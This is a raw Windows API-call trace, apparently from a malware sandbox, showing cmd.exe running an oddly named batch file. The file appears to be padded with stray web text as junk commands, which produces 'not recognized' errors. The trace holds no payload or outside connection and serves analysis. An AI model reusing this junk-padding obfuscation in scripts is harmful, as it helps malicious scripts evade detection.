lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.948] GetLastError () returned 0x2 [0232.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.949] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.949] GetLastError () returned 0x2 [0232.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.949] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.949] GetLastError () returned 0x2 [0232.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.949] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.950] GetLastError () returned 0x2 [0232.950] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.950] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.950] GetLastError () returned 0x2 [0232.950] ??_V@YAXPEAX@Z () returned 0x1 [0232.950] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.951] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.951] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.951] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.951] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.952] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.952] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.952] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.952] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.952] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.952] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.952] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.952] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.952] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.952] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.952] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.952] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.952] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.952] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.952] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.952] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.952] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.952] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.952] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.952] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.952] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.952] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.952] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.952] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.952] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.953] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.953] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.953] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.953] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.953] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.953] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.953] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.953] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.953] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.953] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.953] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.953] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.953] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.953] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.953] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.953] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.953] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.953] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.953] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.953] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.953] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.953] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.953] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.953] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.953] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.953] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.953] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.953] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.954] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.954] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.954] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.954] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.954] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.954] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.954] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.954] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.954] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.954] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.954] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.954] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.954] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.954] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.954] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.954] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.954] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.954] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.954] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.954] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.954] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.954] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.954] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.954] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.954] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.954] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.954] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.955] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.955] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.955] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.955] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.955] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.955] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.955] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.955] ??_V@YAXPEAX@Z () returned 0x1 [0232.955] GetProcessHeap () returned 0x20b0f920000 [0232.955] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.956] GetProcessHeap () returned 0x20b0f920000 [0232.956] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f9574b0 [0232.956] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.956] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.956] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.957] GetProcessHeap () returned 0x20b0f920000 [0232.957] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.958] SetErrorMode (uMode=0x0) returned 0x0 [0232.958] SetErrorMode (uMode=0x1) returned 0x0 [0232.958] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.958] SetErrorMode (uMode=0x0) returned 0x1 [0232.958] GetProcessHeap () returned 0x20b0f920000 [0232.958] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.958] GetProcessHeap () returned 0x20b0f920000 [0232.958] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.958] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.958] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.958] GetProcessHeap () returned 0x20b0f920000 [0232.958] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0232.958] GetProcessHeap () returned 0x20b0f920000 [0232.958] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.959] GetProcessHeap () returned 0x20b0f920000 [0232.959] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.959] GetProcessHeap () returned 0x20b0f920000 [0232.959] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.959] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.959] GetProcessHeap () returned 0x20b0f920000 [0232.959] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0232.959] GetProcessHeap () returned 0x20b0f920000 [0232.959] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956a30 [0232.959] GetProcessHeap () returned 0x20b0f920000 [0232.959] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0232.959] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.959] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cc70 [0232.959] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0232.959] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.960] GetLastError () returned 0x2 [0232.960] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.960] GetLastError () returned 0x2 [0232.960] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.960] GetLastError () returned 0x2 [0232.960] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.960] GetLastError () returned 0x2 [0232.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.961] GetLastError () returned 0x2 [0232.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.961] GetLastError () returned 0x2 [0232.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.961] GetLastError () returned 0x2 [0232.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.962] GetLastError () returned 0x2 [0232.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.962] GetLastError () returned 0x2 [0232.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.962] GetLastError () returned 0x2 [0232.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.962] GetLastError () returned 0x2 [0232.962] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.963] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.963] GetLastError () returned 0x2 [0232.963] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d2d0 [0232.963] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0232.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.963] GetLastError () returned 0x2 [0232.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.964] GetLastError () returned 0x2 [0232.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.964] GetLastError () returned 0x2 [0232.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.964] GetLastError () returned 0x2 [0232.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.964] GetLastError () returned 0x2 [0232.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.965] GetLastError () returned 0x2 [0232.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.965] GetLastError () returned 0x2 [0232.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.965] GetLastError () returned 0x2 [0232.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.966] GetLastError () returned 0x2 [0232.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.966] GetLastError () returned 0x2 [0232.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.967] GetLastError () returned 0x2 [0232.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.968] GetLastError () returned 0x2 [0232.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.968] GetLastError () returned 0x2 [0232.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.969] GetLastError () returned 0x2 [0232.969] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.969] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.969] GetLastError () returned 0x2 [0232.969] ??_V@YAXPEAX@Z () returned 0x1 [0232.970] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.970] GetFileType (hFile=0x54) returned 0x2 [0232.970] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.970] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.972] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.972] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.972] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.972] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.979] ??_V@YAXPEAX@Z () returned 0x1 [0232.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.980] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.981] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.981] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.981] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.981] SetConsoleInputExeNameW () returned 0x1 [0232.981] GetConsoleOutputCP () returned 0x1b5 [0232.982] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.982] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.982] ??_V@YAXPEAX@Z () returned 0x1 [0232.983] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.984] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.984] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.984] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5189, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1445 [0232.984] GetProcessHeap () returned 0x20b0f920000 [0232.984] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0232.984] GetProcessHeap () returned 0x20b0f920000 [0232.984] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.984] GetProcessHeap () returned 0x20b0f920000 [0232.984] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0232.984] GetProcessHeap () returned 0x20b0f920000 [0232.984] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.985] GetProcessHeap () returned 0x20b0f920000 [0232.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9574b0) returned 1 [0232.985] GetProcessHeap () returned 0x20b0f920000 [0232.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.986] GetProcessHeap () returned 0x20b0f920000 [0232.986] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0232.986] GetProcessHeap () returned 0x20b0f920000 [0232.986] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.988] GetProcessHeap () returned 0x20b0f920000 [0232.988] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.988] GetProcessHeap () returned 0x20b0f920000 [0232.988] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.989] GetProcessHeap () returned 0x20b0f920000 [0232.989] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.989] GetProcessHeap () returned 0x20b0f920000 [0232.989] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.989] GetProcessHeap () returned 0x20b0f920000 [0232.989] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.989] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.989] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1445 [0232.990] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x370, lpOverlapped=0x0) returned 1 [0232.990] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a0 [0232.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, 